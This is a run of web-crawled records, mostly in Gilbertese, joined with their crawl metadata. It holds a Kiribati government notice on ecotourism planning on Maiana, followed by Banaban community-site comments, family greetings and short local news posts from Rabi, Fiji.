kaneweaba.\nA karairaki mai Maiana uoman ana aobitia te Aobiti ni Kaneweaba imwiin karaoan te maroroo ma kaain te abamakoro man 14 nakon 28 n Tuun iaon katamaroaakin ao kawakinakin taabo ake iai rongorongoia ni kawai ma maaraia ao ai karaoan ma barogaakin waaki ni kaneweaba ake a irekereke ma bibitakin kanoan bong ake ana kona n karaoaki iaon Maiana.\nInanon te uoua n wiiki, ao e kabanea teuana te wiiki ni makuri te Aobiti ni Kaneweaba ma aobitin Katein Abara (Umwanibong) ibukin te maroroo ma kaawa iaon te waaki ni katamaroa ma kateimaniian taabo ake iai kakawakiia (rongorongoia ao maaraia), unikakin kai n amarake aika kona n kaitarai bibitakin kanoan boong ae ena kateimatoa te mari ao te aki tatare ao ai kateimatoaan te amarake ma te rabakau ni Kiribati inanon rooro ma rooro n kaitarai\nTeuana mai ibuakon ana makuri te Aobiti ni Kaneweaba e bon boboto iaon katamaroaan ao kateimanian taabo ake iai rongorongoia ao tera bonganaia ma unimwaanen kaawa. Aio bon te moantai iroun te Aobiti ni Kaneweaba ma Aobitin Katein Abara n kaai n makuri iaon aio ibukin te waaki ni katamaroa iaon taabo ni kaneweaba ao ni kakairua ao ai bon ibukia naba te roro ae tabe n rikirake.\nE karaoaki te kaongora aio nakoia kaawa are e boboto iaon aanga n katamaroa ibukin kateimatoan ao katikiraoan taabo ake ana kona n kabonganaki ibukin te kaneweaba. Aio ena bon karaoaki naba nakon aaba ake uoua ake a mena naba iaan te karikirake aio n aron Abemama ao Nonouti.\nN ana kauoua n wiiki te Aobiti ni Kaneweaba ao e karaoa ao n katabangaka riki ana katanoata nakoia kaawa iaon bonganan te waaki ni karikirake iaon te kaneweaba ae irekereke ma te katei ma te rikia, te ununiki, kabonganaan te amarake ni Kiribati n taabo n kaneweaba ke n auti n iruwa ao a mwaiti riki are ana kona n karaoia man kaubwain abaia aika kona n reke. Rinanon te kaongora aio ao e karaoa naba ana kakaei te Aobiti ni Kaneweaba iaon taabo ma kaubai ake ana kona n karaoaki iai te karikirake nte Kaneweaba ao tuoakiia ba tera baika a riai n noraki moa imwain te karikirake n aron tamaroana ke nakoraoina, kabwakana, ana konabwai ao ai baika a kona n rota aron waakina ke kanganga.\nE kainaki te mananga aio ma te reirei iaon karaoan ke barongakin bakete ni kaneweaba, waaki ni kaneweaba ao ai karaoan aia burokuraem iruwa iaon waaki ni kaneweaba ake atia n barongaaki.\nE na manga kawara Maiana te tiim aio ni manga makuri ma kaawa ke komiuniti ake iai nanoia n kan waakina te karikirake nte kaneweaba ao n kateimatoa naba te makuri ma Aobitin Katein Abara ke te Umwanibong iaon taabo ake a tia n katebenakoaki ibukin mwakuriaia ao katamaroakiia ba ana teimatoa tamaroaia. Te kantaninga naba n taian karikirake aio bwa ana kona n kakorakora bwaai aika aki kantaningaki man bibitakin kanoan bong.\nE mwanenaki te mwananga aio man te Karikirake ae te Tania ni Maiu (LDCF -Least Developed Countries Fund) rinanon ana karikirake te aonnaba ae te GEF(Global Enviromental Facility) are e wantongaki man UNDP(United Nation Development Program) are e a tararuaki man barongaki iaan te Botaki n Mwakuri Ibukin Enwaromenta, Aaba ao Karikirakean te Ununiki n mwangana ae Aobitin Tararuan te Otabwanin.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.environment.gov.ki\/?p=1931","date":"2020-08-11T09:41:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738746.41\/warc\/CC-MAIN-20200811090050-20200811120050-00028.warc.gz","language":"gil","language_score":0.9998118281,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998118281364441}","num_words":910,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"kona maury sis..........i think ko a rikirake riki ni boton aine ma am pic................ao kona oki nigai nako kiribati bwatina nako ni midtown.....hhahah.......kaga i oago bwa koa maga reirei..... ea gae ni bane am tai ao are ko bn kan reirei nb shshsh..........konag kabanetai ko riai ni kamateaki ma aron am vaaki anne........tao ko matu ao ea kabaeaki nb roroam....hahaha...............shshe tau ma tina kaboo bwa antai riki ae e vantogaaki nte reirei iroun tamana.....ahaha tia boo moa.........sis.hehe.\nmauri natina! e uara te seaman? aa kani bane te 7 seas ao all ports iroum ke? ea bon jealous ngkai aeroman. e tau ma kakaonimaki ao tekeraoi te waaki. boua ngkai e tataninga ana mare nakon ritemba 2011.try to make it eh ba kona karaai wa ma tarin buuna. tia boo moa.\nMaio koa uringa au lap top are ia tia ni butiko ngkna e kona reke ni manangam aio ok ia manga bon tareboniko ngkna ko roko ikai ena tekeraoi te managa ibukin te makuri ao take care ia bon karokoa am kamauri nakon tamam\nmauri naba maio. ea boni maan te tai ke? anyway life still goes on n i want to retire quickly so i can enjoy just fishing n farming but i got so many big mouths to feed while they are still bero in the house.maybe when they start working. ok e raba te ururing ao nako mai kaea ana mare boua ngkana ko mawa nakon temotirawa are ritemba. ena tekeraoi te waaki ao tia boo moa\nasalum malekum a taku kain te muslim\nko a mena ia ngkai\nngkana ko aki mena i aon te aba ao koaki mena naba ikarawa ao ko\nnang tiku ia? ngkam tao i tari. nou euara taari. ngkana ko roko i Suva ao koa nakoiu ba tina moi nangkona.\nmauri ao ni sa bula n helo!!!tao i bon naki kinako ma eara i taku ba e titabo tarakim ma temana te omata ae kina????aniwaiz realize dat u work in te kaibuke n i gues dat u must have enjoyed life dea??? i luv da ocean too n sometimes i wish i could sit all day jst watchin da tide n feel da sea breeze on my face!!jst one of my favourite!!!aniwai gud luk in everiding u do n God bless....sapo moa ao ni sa moce n gud bye!!!","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2rskblo2jm7pb","date":"2020-08-12T22:22:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738944.95\/warc\/CC-MAIN-20200812200445-20200812230445-00094.warc.gz","language":"gil","language_score":0.997860074,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9978600740432739}","num_words":387,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.209,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaikai mauri riki ngkami . ai tera ae manga riki nakon ami comp?? au kantaninga ba tao ea manga aki maeu .ma eaoria anne ma ai bon au kamauri nakoia kain batami ao ai ami unaine aikanne ma natimi .\nTekaraoi ngkoe ma buum anne ao kataia ni katia ami comp anne ba tiaongan rereitaki ao man ongongora rongorongon ami tabo anne ao ngaira naba\nTekeraoi moa ngkami ao tia manga bon reitaki n ongongora mai roumi.\nkabara te bure ba ia maninga ni kaotai nakoimi ngkana kam aki kinai . Ngai te rang ae kam bon kina\nErema .akai\nTekeraoi ngkami ma natimi aikanne ao tuanga Ben ba ena kaitoa kee n amamarake\ntia boo moa ao ia manga ongora iroumi\nkaikai mauri moa ngkami. e koaua e a rang maan te tai n aki rereitaki ao bon iai au internet n au office ma e bon rang korakora te tabetabe ao irarikina ao e bon aki reke am email adress ao ngkai ia bon tibwa kauka au banabavoice ao ia uringa ae na comment nakoim. Au kan taninga ba kam bon bane ni marurung ngkoe ma buum anne ao ai natimi ni kabane ao ai ami unaine aike i rarikimi akanne\ne bon tuai raoi settle raoi au makuri ma akea te kanganga ba are bon te kaibuke ae ririaki imwarenan trwao biti ibukin kanami teiko ma ai bon rekena ao ia tuanga Bob ba ena butimaea.\ngud day from oz aqunty kaikai! neiko, e koaua am taeka ba i bon tekenaki irouia natimaine aika ragin boboto aikanne. au kamauri nakoia kain te makoro aika ragin boboto\/ merry xmas nakoim ma natim ao tem bob. tai agagan nei kani au kamauri. tuaga kani ba ena nakomai ni motirawa ikai, ba nna kairia nako kings cross. merry xmas to u all an god bless!\nMauri Kaikai and Family\nNeiko ae bon akea naba te news mai ikai except te hot conditions at the moment.Ae bon titabo ma fiji but anyway tia bon used to it kee.Ia also kan give our best wishes nte christmas to you and your familyand hope you all have a happy and safe new year...no drink and drive okay...\nLove you all\nhey mauri Kaikai !!!!\nkam uara gkai??? shshshh ea bn nag maan te tai keer....hows Kaka Tawana??? remember to giv her my rgds.....\niaa ea nag ikawai Nei Namoriki keer...e rikirake ni ikawai ao e rikirake naba ni botonaine, gaia raoi anne taua teim anne bwa ko aoga n tekena aunty Rotaria and aunty Mamro.....\nhey, ao e uara moa ana mare Kakia ma Nei Rire plizz update me from dea ok....\nAnyway ai bn te katekeraoi mai ikai nte xmas aei ao te ririki ae boou...\nokey ena tekeraoi te waki ikanne ao koa maga reitia mai ikanne n rogorogon ikanne.......\nmauri sis ok set gaia ao kum uara moa e raba naba teururig nane tau maia maga bon ogora nam\nlatrst news mai kane kee okk kaga bon akea mai kai tinatiu are nei angeline ea bon karaoa ana\nukeuke ba are ai bon ankabane n teririki aio fom 7........ tau tekeraoi tewaki mai kane\ntia bo n moce mada god bless ma am utu\nlolomas nakoia kan am aiti\nneiko bwa eara ngkai ena tekenai, ko aki ataia ae ea ubu ni kaara raom anne ao ngaia ea baka moamoa ni kaina te bouta hahahahahahaha. E tau koa bon norira raoi ngkana ti kaai ni itaramata. Tekeraoi kanoan am bong ao koa angania au kamauri. Byeeeeeee\nmauri naba nei makauro\nneiko ao kam uara!!ae koa bon tekenira ngke nam karikimaka ke...ahahah\nkoa kabaraubure naba n au wrong guess at first.ao euara nei beibei ma am koraki?\nia bon botu ikai but thanks to this site ea bon pass au time n trying to keep in touch\nma au families ikanne.neiko koa bon give au message nakon nei beibei ba ena toki ana moi\ngrog coz ia bon nori some photos ao ea bon ubu n kosa...lol\ntake care ao koanga naba au big kamauri nakon am utu.\ntiabo\nmauri sis ega koaki keve ea bon man tetai kee kabara buren waeremen te koroboki bae nakaga tetabe\nnte makuri gai ma au utu tibane nimarurug raoi ao riki kain abau enag benben....ahahahahahaah\na gkoe enag raraba naba am rogorogo maikane enag kaga arei araroanako kegkai are nabon roko naba n temare ane matau kanakonako n temare ao koa maga kaogoai kee\ntau sis tekeraoi manatim ao bum ao riki ami makuri\nia maga bon ogora mairoum n reken am tai okkk\ngai tarim are te fofoto........ahahahahaahha\ntibo n moce manda\nmauri Sis, engara mum? Is she in Suva or Rabi? Has Momo done something constructive back in Rabi or does he wanna come over? If he is interested I'll try work out his fare over when a ship comes around there.Let me know. Love to all at home and especially to mum. Give me ur phone number so that i can talk to her. Sinto\nKaga i aki ataia raoi ba na araniko ba rau gke, au aunty ke au sis in law...... hehehehehe.\nAo gke, ko ragi ni bati n raba gkai ko kona ni email mai. E raraba ba gaia ae i ataia ba a mena dad & mum irarikimi. Ibukina ba are i ogo iroun Robuam ba akea gaia i Naboro ao gai i taku ba a nako Levuka. E raraba riki ma ko a tuagia ba a koro reta n nakomai ba ane e na managa Robuam n nakomai , maybe early next month. Koa ogora raoi ba nigai ae e na managa iai. Kam a koroboki naba nakoiu ba i ragi ni kawa ba i a ragi ni miss ikane. Taiaoka ma tuaga naba Lagilagi ba e na write over kerrrrrrrrrr.\nE tau tia bo moa ao te kamauri ae bati nakoia mum & dad ao tagami ma natimi.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=3obja5295epr9","date":"2020-08-12T20:58:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738944.95\/warc\/CC-MAIN-20200812200445-20200812230445-00589.warc.gz","language":"gil","language_score":0.9990484715,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9990484714508057}","num_words":975,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hi There im very happy to hear u. how's schooling? ups everything fine eh no worries are kanga ko bon brainy more than Tenga eang ea tekenaki n te riba n Aotiteria keer?? Fafule naba dont tell. Anyway goodluck and study hard.\nAh! mauri! the beauty from Rabi, just drop by to see what the Banaban Online is all about.\nAnyway, nice to meet you and the suprising thing was that you are grown up girl now.\nAven't seen you for a long time since 2000, by the way i'm new here so i have to get to know each and everyone of these members.\nPlse give my regards to your family esp. Nan Nabuti and your mum and all those who are staying at home.\nneiko ngai ngkai i chat mai rabi ao ia butiko ba ngkana ko kina nei tie ae natin tonganibeia (are te custom officer ngkoa i tarawa ) ao i butiko ba koa angana naba au kamauri ao ko tuanga ba ena email nakoiu nte email adress aio (email@example.com) ao ia butiko ba ko a anganai naba am email adres. e tekeraoi moa te waaki ao ia manga ongongora mairoum ngkana e reke taina. tia boo! tofa! moce!!!!\nKam na mauri!!! kam uara??? Hope kam bon marurung raoi like us over here....Tera rongorongon ami tabo awane??? A roroko Turia maa iroumi ke aki???? Ngkana arona bwa kam bobo ma ngaia ao kama taiaoka ni karokoa au rongorongo irouna,,,,Tuanga ae eatia n reke au bai ae kanakomaia.....Tekeraoi moa ao tiabo n reken te kaitibo....\ne ang ne are i a bon ata ikanne ma tao tia kaitibo ikanne reken te tai ae riai.ngai i bon tataningaiko ao ko bia ururingai n am tataro ao ngai i a ururingko naba mai ikai .e tekeraoi te study ao babaina te tataro ba ngaia buokam n am reirei.tia boo moa.","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/banabanvoice.ning.com\/profile\/JosephineKabwebweTebaou?xg_source=profiles_memberList","date":"2020-09-26T19:17:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00499.warc.gz","language":"gil","language_score":0.9942702055,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9942702054977417}","num_words":309,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri man banan abara aio Kiribati. Ti nang marurung raoi ao kanga akea moa rongo2n ara tabo aio ba kanga ai bon arona nako naba, ma ara kamauri ae moan te bati ao ara inga nakoimi ao ai tibumi are Natua. Tia manga bon REREITAKI ao tekeraoi nb ngkami.\nMauri Radini,\nShshshsh kabara te bure ba e bon tuai man reke mawau are n na install am skype. Tera ngkao am email address. koa koroboki nakoiu firstname.lastname@example.org ba ia kataia ni kanakoatia n te email ao koa follow naba te steps ane ena bon tuangko. Otherwise I will be there anytime.\nTekeraoi\nKo na mauri Talatala Qase ikanne iaon Rabi. Te kantaninga ba kam bon bane ni marurung raoi n ai arora ikai naba. Ngkai iaon Suva, E tabe naba ni katauraoi te Rorobuaka ibukin ana Rally ni Kainin n 20 n November. Tia manga reitaki n rongorongon ami tabo ane. E na tekeraoi naba wakinan te Ekaretia iaon Rabi.Tia boo moa..\nDear talatala qase,\nI a bon tabeka riki bwaanau ni bubuti bwa ngkai Mummy e a rangin aoraki ao ti kainanoa waekoan nakoatira ma ngaia are tia kan reitaki iai ma Daddy. Tia bon ni bubuti ngkana ko kona ni katawea.\nMauri...............talatala....I a bon tabeka bwanau ni kamauri moa ngkami..........ao te kan taninga bwa kam bon ni marurung raoi.....\nI rimoa n tabeka bwanau ni bubutiko bwa ngkana e kona n reke reitakim ma daddy...........Rev. Kaintoka Motee,bwa ibukoin ae tia rangin aoraki ao tia tangira te waekoa n nakoati........ma ko a butia...........bwaq e a karekea ana tareboon n nakomai..........nakon te # ae 93596............tia kainano ni karekea Rambi mai ikai....ma te kanganga bwa e kamwara te network...........ai bon te bubuti...........ae mangori nakoim.......\nBon te bwana ni kamauri mai kiribati nakoimi tangami ao natimi are Nei Boutokai ao ai akee tengaun riki aika ti aki ataia araia. Ti bon marurung raoi mai iaon abara ae kiribati ,betio.tia bo moa moa tekeraoi moa te waki\nHi Talatala-Gase!!!...ao kam uara??? Gaira kai tibon Marurug...AO\nNei Boutokai naba....ao akea ararogorogo riki..kain teAuc abane naba ni Marurug.. bon ti tekekeiaki naba.... koa aga naba ara kamauri nakon Unty(Radini: Tebetia Ma Natua...TIa boo moa...\nMAURI UNCLE KAABONG kam uara ngkai ao e uara UNTY TEBETIA ao riki tariu are NEIBOUTOKAI ao ai rorora ngkai ea bon maan te tai ao i nang karaba naba te web aio ngkai tia kona n reitaki ma ara koraki ake a raroa nako ngai ngkai i bon mena i suva ngkai ao nanako ni moan nov,i bon reirei n spc narere,ai bon te kakatekeraoi nakoimi ma kain ami auti inanon te wiiki ae boou aio.e tau tia bobo moa","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/banabanvoice.ning.com\/profile\/KabongReo","date":"2020-09-26T17:31:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00666.warc.gz","language":"gil","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999984502792358}","num_words":438,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.258,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"taiaioka kain te banaban voice au bubuc riki nkana iai ae ata aia contact natin Peter Atauea ma nei Teingira nkana iai iaon vitilevu ao ia bubuc aia contact. ba e kainanoia buu ae aia koraki. kam raraba\nAdded by Ioteba Atanimakin on June 9, 2010 at 4:47pm —\n1 Comment","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/blog\/list?user=2jhfs7hytmr2n&month=06&year=2010&promoted=","date":"2020-10-28T17:33:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107900200.97\/warc\/CC-MAIN-20201028162226-20201028192226-00354.warc.gz","language":"gil","language_score":0.9997361302,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9997361302375793}","num_words":47,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri natiu ma tibuu ti boni marurung raoi ao ngkai ea manga roko naba te maitoro ea boni korakora riki nakon last year akea rongo2 ikai bwa ti te mwakuri ao ai te katauraoi nakon te kainaomata\nau email address meralisi.nanton114@gmail\nena tekeraoi kanoan te bong ao teimatoa reitaki nakomai\ntia miss te rekenibong ma koanga naba ara kiss n congratz nakoin natim ke!! well...neiko ko aki maninga au takakaro ngkoa arei??....ko bon ataia ga ba are ea bon aki kona n nako man te blood ngaia are ea birinako Raineaba nako tari.... ao ngaia ae tia nanona iai te reirei\nMy prince and princess were there with grannys...long time u havn't visited Nuku, eh?? where are u guys now??\nhey thx 4 da news.......so m sculing hea in kiribati in st patrick college.life hea is gud but boring compared 2 rabi....lots of fun dare.so hws ur family members dare m fine n so as m famili hea. nt so mj news ai bon teakan naba te reirei ao akea riki......mayb boys 2 hahahahah ti te joke naba\nmamauri naba thxti nang marurug i kai ao kami kam uara ma kain am auti ikaner.nt so mj news ikai ti taekan te reieri.e nang kabou2 ea kauga riki rabi.enang tikiraoi tameimi are ko addina.kam a uara kain tabiang toa nang maga kaner e reke te tai ngkai moa ti nang buz matereirei.\nko mena kai ia?e uara am baby?tera ea bon iagoaki i kaner?\ntso e na tekeraoi naba te tiku ikaner\nregards 2 ur family over dare\ntake care\nhey bon raora naba yesterday nte auti...u no ea rang ni botuuu ma are raona nei Teresia Ioane nte auti\nngkai ia tiba oki naba mai iroia ma ea matuu ....e bon rang ni kaan arauti ba e tiku iroun te manna te tia reirei ae raora ni mwakuri n autin te reirei\nao ngaira ti bon tiku naba n autin te reirei tao ti bon 50m away so dont worry she alrite..ok see u\nkeep in touch\nhey bro mauri moa\nau kantaninga ba koa bon rang ni kanreitaki ma tiibum ker....\ntibuun ea bon rang ni marurung raoi ao ai bon kain ara tabo aio\nma ai bon ti te kan reitaki riki ngkai ia bon ataia ba bon au koraki nei kautu mangaia are tia bon bobotaki riki mangaia ikai ngkai ai bon ti rabatana ntingaia....\neng ibukina ao are tiatia iai ni maroro ma nake e tiku iroia ao ataku ba nie kautuu ea iangoa te kan oki (rabi) U no she's old ao ai bon te kanganga ba ea rang ni miss ni ngkami\nma ngkan ko iangoa te kan ni maroro ibuki ao sign up nakon te gmail.com and add me \/my gmail address email@example.com euara anne???\/\nngaia anne are tia kona nreitaki iai\nba ngkana ko kan chat ao are iai naba te tabo n chat...if not just give 're gmail address and i'll add U\nthanx Bro and hope to hear from UUUUu soon\nTebano Teinamati\nngaia kee antai babairo keerrr ..... hahahah ma e reke ngkami arami nte skype aia keerrr...angke e raba ba ia kona n add u onto mah skype... nee ao akea ana email contact uea ke tawaea ma.. tau regrds to ur famz ther and to all the church membez ok!!!! bye moa and gudnit to u al...over!!!!\nhey mauri .. tera eigoaki ikane. hey ngaia kam maiu nte kag ikai kerrr..ma e tau kama kabatia naba kanami ni kag ibukira kerr.... kea nee aami skype adress ba kana ti kan taetae ao tia taetae naba n nakoati. ngai ngkai i mena man te auti ao ia kamauri nakoimi. kain ara auti ake a tamnei ao ngai i tabe ni kabanetai nte internet.. tae eiwati moa.\nnai uarries bro ,,,,,,,just keep tj\\he going not to stuck,,,ahahahahaha\nmake sure that you are the best of the best ....hey how the new council members....???\nsee we a now on the mood of examination....\nthings are doubling up like ?????? i think you know it.....\nhey i got plenty progams over hear just wait for me thea....\nbut dont tell any one,...ok\nif you tell anyone you will not have any.....\nhows our deall.......set or not....\nok bro im out ....gos one gal calll....\nshshsh..\ntirangi rauata.....\nahahahhahahahahahahahahahahahahahahahaha...........................\naongke ,,,tia manga booo moa...\nregards to you all..","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2du2komgidbqz","date":"2020-10-31T16:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107919459.92\/warc\/CC-MAIN-20201031151830-20201031181830-00216.warc.gz","language":"gil","language_score":0.9939948916,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9939948916435242}","num_words":719,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Biara Touakin, Rabi, Fiji\nBon te kananokawaki ngkeingabong ngke ea kuneaki rabatan Taebo are buun Nei Tuese Baeba irarikin te Old Guest House ao rabatana ea bon buakaka man boira (partially decomposed). E kuneaki rabatana iroun Jo are tarin Tevita man te Farm Settlement.\nTaebo e bon kitana ana auti n te Farm karangainan te Tabati ngke e oki man akawa ma Pita Valu are buun Nei Rakera. E katikui konana n ana auti ao ea kitania naba ana koraki n aki karautaeka. Ngke ingabong ao e roko Jo ni weteia Bureitiman Sgt Malakai Lanyon ao PC Alefaio ba ea kunea rabatan Taebo. A mananga Bureitiman ao a roko naba aomata aika a maiti ba ana mataku.\nE uotaki rabatana nakon te O-n-aoraki ike ea karaoi ana ukeuke te Doctor. A taekina Bureitiman ba e kabaea roroana.","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/shocking-death-on-rabi","date":"2020-10-31T17:05:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107919459.92\/warc\/CC-MAIN-20201031151830-20201031181830-00225.warc.gz","language":"gil","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999921321868896}","num_words":138,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Biara Touakin\nIai taian bullets aika a kuneaki i maeaon te auti are Nei Rengaua i Tabwewa Meang irouia taan karaun (32 maitina ni kabane) 308.\nKamoirere ma buna are Nei Tebwea a oki man karaun ngke a nori taian bullets aikai. Te tabo are e kuneaki iai e bon roko iai taari, ngkana e iabuti tao bon 2mtrs.\nIai aika a bon tiku n aia packets (te ito) ao bebaia a mara 20 inanon te packet.\nFor further info contact Kauntira Manate on firstname.lastname@example.org or tel 8504709","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/breaking-news-rabi-1-feb-2010","date":"2020-10-31T17:17:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107919459.92\/warc\/CC-MAIN-20201031151830-20201031181830-00231.warc.gz","language":"gil","language_score":0.9999030828,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999030828475952}","num_words":85,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hi There im very happy to hear u. how's schooling? ups everything fine eh no worries are kanga ko bon brainy more than Tenga eang ea tekenaki n te riba n Aotiteria keer?? Fafule naba dont tell. Anyway goodluck and study hard.\nAh! mauri! the beauty from Rabi, just drop by to see what the Banaban Online is all about.\nAnyway, nice to meet you and the suprising thing was that you are grown up girl now.\nAven't seen you for a long time since 2000, by the way i'm new here so i have to get to know each and everyone of these members.\nPlse give my regards to your family esp. Nan Nabuti and your mum and all those who are staying at home.\nneiko ngai ngkai i chat mai rabi ao ia butiko ba ngkana ko kina nei tie ae natin tonganibeia (are te custom officer ngkoa i tarawa ) ao i butiko ba koa angana naba au kamauri ao ko tuanga ba ena email nakoiu nte email adress aio (email@example.com) ao ia butiko ba ko a anganai naba am email adres. e tekeraoi moa te waaki ao ia manga ongongora mairoum ngkana e reke taina. tia boo! tofa! moce!!!!\nKam na mauri!!! kam uara??? Hope kam bon marurung raoi like us over here....Tera rongorongon ami tabo awane??? A roroko Turia maa iroumi ke aki???? Ngkana arona bwa kam bobo ma ngaia ao kama taiaoka ni karokoa au rongorongo irouna,,,,Tuanga ae eatia n reke au bai ae kanakomaia.....Tekeraoi moa ao tiabo n reken te kaitibo....\ne ang ne are i a bon ata ikanne ma tao tia kaitibo ikanne reken te tai ae riai.ngai i bon tataningaiko ao ko bia ururingai n am tataro ao ngai i a ururingko naba mai ikai .e tekeraoi te study ao babaina te tataro ba ngaia buokam n am reirei.tia boo moa.\nMauri Josephine,\nOk, iaota raoi nai aron ae koa tia n kaetia ae am karo Tabeaki. Bon kananauan raoi aran tamam bon Na Waikatabeaki ae te ara man ara kainga ma ngkami (mai iroun tamam) ae Teinamoriki ae kaingan Tabwewa (Banaba).\nTibum ae Nei Mere e otinako mai iroun Na Taukarawa ao ngai iotinako mai iroun tarina ae Na Kamaraia ( 6 generations back). Your Grandma is my cousin therefore your Dad is my nephew and the rest is history.\nYour uncle Na Burenikamaraia is named after my Great grandfather he was given that name by my Grandma Nei Tina when he was born actually Bureni grew up with us before my Grandma passed away and that's when Bureni returned to his mum Nei Nera and that is how close our famalies are.\nTao ena bwakara moa te kaota ane teutana. Ao ia manga reitia if you are interested.\nJosephine mauri,\nNeiko, kona bon tuua. Ngaia bon am karo Nabuti ao koaki tuangai ae natina ngkoe. I taku bwa ko bon ata riku ma am karo ae ai te nati Irou ma ngkana eti ae am karo Nabuti ke tiaki ao koa confirm nakoiu bwa ikona n anganiko rikim ae I boo iai ma ngkoe.\ncheers.\nneiko e uara am criteria are kona send nakomai???....I a kua ngkoe n tataninga ma tokina ao I a bon rangi ni boituta mai ikai.....koa bon ana aron te kakaboton-aine n tamneim aikai....keee....neiko ao ai tera ngkanne aorora mai ikai....shshshshs....koa ti send naba temanna kanga am spare mai ikanne.....hahahaha.....\nOh...yes...sis..thank you for the message...i am now 14 years, but looks like am late to catch up....shsh!!!!well, it is God's will....to be borne into this universe in 1995...i wish i was borne closer to Elsie..hard luck but thank God I am who i am today....well, that is me and my mum in the picture....\nanyway there is time to catch up...thanks for the advise, i will leave things to God to decide but have to work tough from now on...anyway all the very best and mum and dad are glad to hear from you..tia bo moa....God bless\nHi sis,...mauri naba nakoim ma Kiteon...I know you would wonder why am i commenting on your page. I am the youngest, handsome son of Mr. Willie Karakaua and Ruiti Tawanang. I know that i am related to you from from my paternal side thru Dad Willie, and now from my dad, Mr. Tebwebwe Taua... we have watched Dad Tebwebwe chat with you a couple of times. But anyway, I am so happy to say that you are so lucky to be out there in Australia doing studies. Regards to Kiteon, and all da best in your studies and stay in Australia...envy you guys out there....hear from you soon,, my dad (Tebwebwe) and mum (Ruiti) send their best regards...and love to you n Kiteon..tia bo moa....Host Tenraabi Karakaua\nmauri naba nei boboto nam tabo anne kam uara ngkai au kantaningaa ba kam bon nang marurung raoi,e rabwa te reitaki ae teimatoa ao ai bon te kakatekeeraoi mai irou ma ETETA nakoim nam reirei ao ai uana naba ma KITEON tekearaoi am wiiki aio tia boo moa\nNeiko e rangi n raraba te reitaki...ao kai Eng ba are e bon nako te ririki ma kanoana....ao ENG tia bon rangi n 